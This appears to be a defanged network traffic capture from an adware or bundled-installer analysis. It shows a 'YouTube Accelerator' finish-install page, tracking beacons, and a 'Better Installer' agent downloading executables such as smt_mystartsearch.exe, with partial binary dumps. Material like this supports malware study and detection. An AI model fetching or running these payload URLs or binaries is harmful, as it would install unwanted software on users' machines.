G...u...].V.E.Pj.j.j..u.....G..u.j.....G.....t].E.P.u.Vj..u.....G...u.
..`.G.3.^..].h BH.....G...t#h..H.P..T.G...t.h..J..6............V..t.G.
.u.....G......^..]......U......@.SW.u..E..@..j@.E.>....G...3.......
.....J...u.V.E..p...@..u.!]. ..E.9].vW.E. ..E.3.3...;].r..u.P...I.....
X..:0.. .u..E........U.2..Q....I...2.Y..CF......r.;].r..E..M..x...<<< skipped >>>

GET /analytics.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.google-analytics.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 07 Jan 2015 08:31:06 GMT

Expires: Wed, 07 Jan 2015 10:31:06 GMT

Last-Modified: Thu, 13 Nov 2014 21:10:00 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 11158

Cache-Control: public, max-age=7200

Age: 3814

Alternate-Protocol: 80:quic,p=0.02
...........}{w.:.........Du..p8IMV.........,.ih.....6.g..{K..4<3..w
.....[..K..L.*...~ps!.{RFz.F...~...|<..a&N...0.].XF..}....4...@f.-.
.....".nR.M..=....$.gy...P`(.5..P..T..z<.J{.W.%2..8..s..SO\!....'~.
........S......s.....Je;Y...i......A...;.MPn....>RO"o0R......O...r.
6..u.]c..T..z.'.....v1.t...h..c...=q.1He.|..x<@3c..NP...@b.y....R..
>M<..F..>.Y......M.Q".'r:.>......g.t...a/C...x..12....}..s
?....W&S ..O.'...0/.R.{..z..L...8.yb$...~Of....1..LQ..v.'^F..Q...C....
.N....Z..c......=.u....?..PQ..}!;q7..g&. *U<..>U.QY...R..s.m.j5.
..][...0<..PP....h..{c{[..a...L..k!F........./^..z........G.>~..
..7. `.w..y68.....I6.....]olln=x......x.:..N.Ss....e7z.y..=/.z...f..y.
..f,..H..gZ.....x..E.-........E;...V...4..]T8....n...xU;O....^0...5t.b
.O.. .\[[ol.2T.!v.Ta#T1.N.I..=4...F....HR..E&K..m.y..~.{.xr|%...m.Z...
.jz.Ld...v8.L1..9....K..Q..S.....*..Z..T.w.L..k...Ky....."L?..../.X.z.
o<.....?7}.D..d....e..^....'....}...bE.J%....2.N9.mm......h<.)".
..n0....L\....8..>.]....@}.q.A.'z...g.{q)....f.D.5...?..,*.=K..*...
... CN...G.I.J1...A....C... X..O.\...7.{E..z..t>...k...D..k...h..[k
C~<.z.y....nka.z.....`G>..[@.L\/.u@..NS..0....,.O....q...Lh.[..m
.B..Z.g......~B..Q.no..o@U....U%Z.....,oo....?M..=..|&~/Y.F...[[.N....
u.=C3..#/...N(v.XE81I4...h.-U."..i.T...4.*:Z.......3f@.......h.;=.....
8.`.g3=..{.)>...6..#...|S^nf#g.z.s.K.........Y.cC...U;c^..6.:@vU...
i/..m....i..L....|s......x.....[.v1@...(.g...]...bP..Z...=.....D.D.HM.
Y.....IXk..8..j. ..ag$....n.....A'...O..._..v..,.G..`..!...rM..o.V<<< skipped >>>

GET /r/collect?v=1&_v=j31&a=951836264&t=pageview&_s=1&dl=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1700x804&je=1&_u=MEAAAAQAI~&jid=1310018547&cid=1963142124.1420623260&tid=UA-40752970-2&_r=1&z=2134389475 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.google-analytics.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Wed, 07 Jan 2015 09:34:40 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.02

GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Wed, 07 Jan 2015 09:34:40 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.02..GIF89a.......
......,...........D..;..

GET /mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: flex.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK

Cache-Control: public

Content-Type: application/x-javascript; charset=utf-8

Content-Encoding: gzip

Expires: Wed, 07 Jan 2015 09:48:58 GMT

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

X-AspNet-Version: 4.0.30319

Date: Wed, 07 Jan 2015 09:34:39 GMT

Connection: close

Content-Length: 490
.............`.I.%&/m.{.J.J..t...`.$..@.........iG#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"....i[T..;..8..]....../.6....i.
Wyu.....*........}l^..N...zyx..i....M>.U.."_....=-s....l..17...j.||
...............g...../... .....f...n..g.............>n..g......}...
...{...?}.......|{..L.g.................w.w...w..(t.(.U]...-..._.K....
......w~1.=....7..h.>.{..;............x....d.....B../..?.%..|.'..o}
......M1..}.....?.]f...).........U....B?.XGD..4......w.]|...8..(xg....
.q.........

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=77080-154160

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Cache-Control: no-cache



.......e..E.....3..M.d......Y_^[..].......U...E..MZ..f9.t.3.]..H<..
3..9PE..u......f9Q....].V3...`7B.....A...`7B......(r.^.U...E...bB.]..5
.bB.....A..U...E...bB...bB...bB...bB.].j$h..B......3..].3..}..u.....Pt
...j.Y .t" .t. .t^ .uH........}...u.....d....E..bB...bB..^.w\V.S...YY.
...E....V.....t6...t#Ht.............m......E..bB...bB....E..bB...bB...
.E..bB...bB.3.C.].P....A..E............u.j........t.j......Y.e.....t..
..t....u..G`.E..g`....uA.Gd.E..Gd.......u/....A....U....A...;.}&..k...
G\.d...B.U.....A...j.....A..M....E.............u .wdV.U.Y...u..]..}...
t.j..M...Y.V.U.Y...t....t....u..E..G`...u..E..Gd3..;....U...M.....A.V.
u.9q.t...k...E....;.r.k...U.;.s.9q.u.....3.^]..=.sB..u.j..P...Y...sB..
...3..U...E.-....t&...t....t.Ht.3.]..d.A.]..`.A.]..\.A.]..X.A.].U.....
.M.j..)....E..%.bB.....u....bB.........A..,...u....bB.........A......u
..E....bB......@..}..t..M..ap...U..S.].VWh....3..s.WV.....3.....{..{..
.............{......:B.... ........7..FIu..............9..AJu._^[].U..
.. .....0B.3..E.SV.u.W......P.v.....A.3.......................@;.r....
......... ..........Q......;.s........ @;.v........u.S.v.......PW.....
.Pj.S.."..S.v.......WPW......PW......S.~!....@......S.v.WPW......Ph...
.......S.V!....$.....M......t..L..............t..L.. .................
......A;.r..Wj.......X ..................... ...w..L....A .........w..
L.. .A.............A......;.r..M._^3.[.=c....j.h..B.......e........>
;B..Opt...l.t..wh..u.j .....Y........j......Y.e...wh.u.;5.7B.t6..t

GET /mstag/mstag.1003102000.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: flex.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK

Cache-Control: max-age=86400

Content-Type: application/javascript

Content-Encoding: gzip

Last-Modified: Wed, 29 Oct 2014 21:30:02 GMT

Accept-Ranges: bytes

ETag: "069797fbff3cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

Date: Wed, 07 Jan 2015 09:34:39 GMT

Connection: close

Content-Length: 1956
...........Xm..... :LG&.8J:.MB.N.$N........Y.@$(....@....{....vM>H$
v.],......."...qw<qr...g.]e,v.S.(.......P........t:Eao.j.H..Y...A(.
3wx%N.....b..f...9.......W...).J....3...j..xQn.........:!.,"..*.EY....
Ct........X......$.)G....:...,..Q......\...|...s.%.b.K...Q..7w.r...t..
{.I..e .....1._9..3.....Fx%...i.U..9.))....*._K&..Y.p.Y.*.*)E...I_f...
]S.#..TE.......c..0..u..M.!...q.0..s....G9Y:...wK.....^.kZf..g1`)Z...R
c........A..A.Q/>M....ee..............Z^. ..|.!....5d@...n,..2..%.c
........,.,...c...?..-/.r G...Q..d...?..-.!......i.....3....{..[..H.|.
........b.4..kH...t....A.!.y..v.. .:..uuu..VC.....^..2.>....M.oQ.W.
.V.4....u.....d(l.."':......V .b..e0....{....0...9Y.Q........b.~s....Z
...2..:.....2....'T.(......L.r..H0V.[...C..k.)..T....J.#.T.i...Ve..G..
...N.i.n<b....d.X.@..SQpHM.8E...8..!.(..F...L..J.......3..x.....U.w
>.S..`..4.4}S.h.....1._.k[.K..pu@.....K.>.e.eKa...Q..m.....\6.~.
.(x....9.....r..F.....M...)n%..84W...6..?..X..>........xC..oL....s.
......... ...w...$!...,......l.........$..fH....K.S.;.A$....{... ...e.
....$..P....C.....:....s.|...,.(3..k2#...o...g!..q...'.m.....R((-..N.w
 .....!a.J.4... ML.x$....`Z...tj...{..'..[.2.n.;=.@.uaT ..6...`.....m.
....H=U..P.....H_ O[..H..@..C/.Q........p.C..GG..>..>..Q;3\.7...
.yk..Y.)..{.........H`..{.1.rPc.5.|..t..S. ra. .....0......c.S~...]..6
.....f....X....A.a.a..A.c;..3....<[...y.v...N....^R.r ..Z&.u.=.._.2
u...*p.=..\h.....a.!m.........g.&..d.).t`...H........>....U...u....
.......JC.....l-..8w..p{..k...\.......s..@.$1G2....l.spb.,.Q...3.`<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1631232

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Age: 2131

X-Cache: Hit from cloudfront

Via: 1.1 2dc430fff474a8f2dc029f6910b5eecc.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zCYMEbOymFo-gy1qKoD4jwmza3ix3Q6Azz_L8S30eBmlg0DH-7OYzw==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......Je.....X...X
...X..xX...X..{X...X..zXT..X.|6X...X.|&X...X...X...X..fX;..X...X...X..
|X...X.."X...X..yX...XRich...X........PE..L......T....................
.(....................@..........................0....................
...................s..E5..D`....... .............................. ...
8...........................`...@...............\.....................
.......text...L........................... ..`.rdata..................
............@..@.data....o.......J..................@....rsrc........ 
......................@..@............................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................................U..j.hkMG.
d.....P..8....X.I.3..E.SVWP.E.d........F............h.=H..F...........
...tCh.=H........t..N....h.=H........t..N....h.>H..........A....N..
.8...h.>H........t..UT...F........h$>H..............j.j.....G...
........h(.........j.P......,....H............PW....G.............G...
..$..........P...........h4>H.........A.......u..N...8hP>H......
...A.......u..N....hh>H.........A.......u..N...E..................B
.....I......R...P.......PW......`...W....G....F.......h.>H..t..

<<< skipped >>>

GET /finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:34:38 GMT

Content-Length: 403
<head><title>Document Moved</title></head>.<
;body><h1>Object Moved</h1>This document may be found &
lt;a HREF="hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9
.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&am
p;VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=
Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&Bu
ndleID=NONE">here</a></body>....


GET /finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

Set-Cookie: ASP.NET_SessionId=rrzcful4pe3stqcytb0mhvcr; path=/; HttpOnly

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:34:39 GMT

Content-Length: 2026
.............`.I.%&/m.{.J.J..t...`.$..@.........iG#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"~..7N...O.<y...<M...L_~..
..I.......wr...7O....o.x...w.7u.l....Yy........m.zt........../..yu..`.
.e.u.......GG.9.L.-.e.Y.........?.....q[.eN....y.|.^W......e.feY,/...Z
.YO..x:.............y...l..........X}.N.e./..>....y.pWWY;....:...b.
WMzU..j.....y^..l9../.k....M.|....~.__U..>......g...~6.?.nG..Q..y..
.\' .v.....g..H..o.W..]..k.....t..M.~.n.....7NRz..(..u^~..4[V.b.....:?
.fKq.P.O....bY4.B...@.1.) ...M{]....6.O.....l.#.O...y.Q.....52.d....2.
.n.../Z......`|oL...45.^...2..>:z|W~......2..S..b............].'..B
g....hj.....VUC......>.=~.............0[.........E{=-w.....w..>.
..........l{.|...0.....O........... ...._.85.f....'.)......f.g..__....
....rV]5.....YC....m>.l.|.....Z.y.......d.....S.......9@.Yq...rE.$D
...YN.)......<;...7.o......\S..W./.^}.{}.....o..y../...{.....AV.yx.
2[./.........._.}z}u..^f_........'_|&|...`D.._~.v.}~....../_....Q|..OO
...?..DW.3..YC....V.....~...|....%...^,...o.LjzW........j....JR.1E....
.EU..s:.Cy|7.......I?....P'....AE..?.x.{..y}.z..y..]}q..u...hl4g.o....
......QL.K..~.k.F.l...O...L....$..&......L3.......6.......~..')...^...
Sz..SP>....|.g...7"....k.G.....p........'......m.....!...c.).5N..2.
..).&./.....V...>...2.^../...eU..k...J>.d.......k# ...F..?iJg)).
.{.:R3P..&S&V.fU........3f[u5....N.G.U.v..G;d.s.....>.K\.._...u{;..
..!6.}~....y......"O....c.D....X...J....;yz...{......Y.....I...._.....
.vw?...`.pS.2[^...g.G..6..q,..-.mn8.J.2.;.gs.2..%.?..ly..........O<<< skipped >>>

GET /styles/yta.css?v=1 HTTP/1.1

Accept: text/css

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=rrzcful4pe3stqcytb0mhvcr


HTTP/1.1 200 OK

Content-Type: text/css

Content-Encoding: gzip

Last-Modified: Tue, 10 Jun 2014 08:53:10 GMT

Accept-Ranges: bytes

ETag: "05f91678984cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:34:39 GMT

Content-Length: 1754
...........Z.n.6../.w...].[.d....j.v..mWC1P.m..D....B.l.{....'..('....
j..E....s.............d{\nAX}....s\.....|...&.[.....&; .~....Y..h.....
...\.....1. ... . !-P.. ..p.....\Ws.d...h.V.8..V...v...v.hS....*0/b(..
v#...8.........>.9$x/....#..B`.p. *...l8.......9..6.....,QD.c....3:
.Fa}...".....$1..9D.3.e"kv.^..m8.7M.a..b. ..1h..r...].P.N......{.]....
}...!.V...SQ..5%.G.a.<.)..[.`..m...=Iyif.r3X.{W......{..].......q.q
.<........gP' ..P...4.. .v..4'Q.M.B.~.M8.X....!.S#.w.....a/..sD...C
..`....O....a.P/.. 7%Y]..SD.....c.8..&......-VK....|..c.vfA2X.e..a.l%G
%.uL..b.q,.G[b......r..:)%y...F$w..C.r|'........N....;.../.Z.....0.G..
..93.....b....Pd....3`.qY5<...............G....Q...vo......{A;..q..
...z.Z..qo.1...*.....GV._C...vq...g..lu[g.9.9n...i^..s..{..b.....!...o
8...z..c.AE.M.S...h...n<.\.....:O..F..a^.`N.EP...Ul..o.e4.....8...0
..K.^#...{=Yqsy.h........gw...x_....).............NL...... ..2..!.6...
~-z..5hGv...Gj...,N..0....{ N.......k.iD .......i\..5.:39...b.H..k.`..
"............y....v..M.%..G.x%.X(....|0=.....{...M.., .q.* &"-.......6
.v.....G......5..o...}.hE..h..l-v....U...v.^VP...?.hy..9:U...E..q.k.\.
..V.<K....>G......'..U.S....j.p%.......]..7.`..I`6).....k.W.....
.).\.r. ...._..#fm...p8-}.}..].C5.b*W.r..!.V.....p.(..!.D]..}.aJ......
..".qy'...aT..Z......".3j....D...wdj....R/.....B}.....q..2....J2...m..
..f.k.0.....6....W.........m.8.-Q!6..M..........%...8>....4...Y.L&.
`WC.?..y.E7.N.....Yt...,P.U..uJ:N|..Nz.J...O..... ?%....C.8%.........h
..U.'.n&Oe..h....x....%....~...):........7..c..[]x....H.u.O.._..g#<<< skipped >>>

GET /ConversionService/getScript.ashx?s=finish HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=rrzcful4pe3stqcytb0mhvcr


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: application/x-javascript; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:34:39 GMT

Content-Length: 1035
.............`.I.%&/m.{.J.J..t...`.$..@.........iG#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"..:..........r...r../..v]/.q6..
^.....j9jG.._......M./......EMG....G.U.f.9.........G.PCj.=......dD.^..
.~..b .~.....Ev......~.....u...4.g.t..~..:........G.......6..g{..?....
.w.:....!>...v.5......G..,?/...._......~..;...."o........E...>..
..#j7...E;?..=...|...V.rv2/..V{..V}..I5.&.k.........S.YM...q.s.@..".!M
.^..x.4o.:..8..y.(.].;L..Y;.....>.9L.j.?WUS..Gi6i.r.....hVev.(]V...
...&......a.n.dD.....}o........).i....:?...O....w....~.G....{../...'.O
>.l.{../..'w>.}T.....E.N.[..C....]?[...p1x..t.~..G.........._..&
gt;c....z.>.VK"I>......4.G).}'..2 ..E..b.]7.. ....2..S.H....MA..
AO...'...>......?..0....:o>...z.V....u[....;w........q|......?..
WY;......{......z..kAZ.A.u .i....C&..a.x..;,>.D@....W|..n:...vk..g.
}.~tx..p..'...;j.U..9.bAr...s...>......a....K..&.....CYi.E.z..}..h{
../.g...o.........M.........W...V....X...!.Y..........)......!........
.....I$n...f^.........T...n...y}YL......GRS.w.G..)....B...v.!A...Z..Kb
[..w6.M.......&x.E...HTTP/1.1 200 OK..Cache-Control: private..Content-
Type: application/x-javascript; charset=utf-8..Content-Encoding: gzip.
.Vary: Accept-Encoding..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:34:39 GMT..
Content-Length: 1035...............`.I.%&/m.{.J.J..t...`.$..@.........
iG#).*..eVe]f.@......{....{....;.N'...?\fd.l..J...!....?~|.?"..:......
....r...r../..v]/.q6..^.....j9jG.._......M./......EMG....G.U.f.9..<<< skipped >>>

GET /t.ashx?e=AZwPyJy3TZiu PbZ6jHEZsxndPpeZYzTNMDcfItnUR6MDmRWpWBZ0CAvELRpepitKPuMdH9xkPFYS5k6/5B5fCNlNxI8BU1c4u3oGHN86wOx2KlVs8m8LqSlVGmgAnwDCNiNeNKIpAKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:18 GMT

X-Cache: Miss from cloudfront

Via: 1.1 aeb7836a7f4320ebda5a45c21ac97728.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NGpKUSZ3Yy-G6AUUhY1GV31ZcSJnm9InBG0pCCrzaYnEEC2DhSfvxA==

abfgshdgfjhsk....

GET /t.ashx?e=AZwPyJy3TZiu PbZ6jHEZsxndPpeZYzTNMDcfItnUR6MDmRWpWBZ0CAvELRpepitKPuMdH9xkPFYS5k6/5B5fCNlNxI8BU1c4u3oGHN86wOx2KlVs8m8LqSlVGmgAnwDCNiNeNKIpAKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:18 GMT

X-Cache: Miss from cloudfront

Via: 1.1 aeb7836a7f4320ebda5a45c21ac97728.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4Q1fzqt5HWFHzAptNKjPPcUSXQ2GfYf268DmnjThfiyImDAwVOy6VQ==

abfgshdgfjhsk....

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:18 GMT

X-Cache: Miss from cloudfront

Via: 1.1 aeb7836a7f4320ebda5a45c21ac97728.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _cDyneI5LvJnrX5NDZOoCYYp1NcXit1sIuJFtAVrpO-jjuWwTwYavg==

abfgshdgfjhskHTTP/1.1 200 OK..Content-Type: text/html; charset=utf-8..
Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-
cache, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5072
7..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:18 GMT..X-Cache
: Miss from cloudfront..Via: 1.1 aeb7836a7f4320ebda5a45c21ac97728.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: _cDyneI5LvJnrX5NDZOoCYYp1NcXit1s
IuJFtAVrpO-jjuWwTwYavg==..abfgshdgfjhsk..

GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Thu, 13 Nov 2014 06:02:42 GMT

Accept-Ranges: bytes

ETag: "88cab6f7ffcf1:0"

Server: Microsoft-IIS/8.5

VTag: 791936916300000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 554

Cache-Control: max-age=900

Date: Wed, 07 Jan 2015 09:37:12 GMT

Connection: keep-alive

0..&0......0...*.H........0y1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1#0!..U....Microsoft Code Si
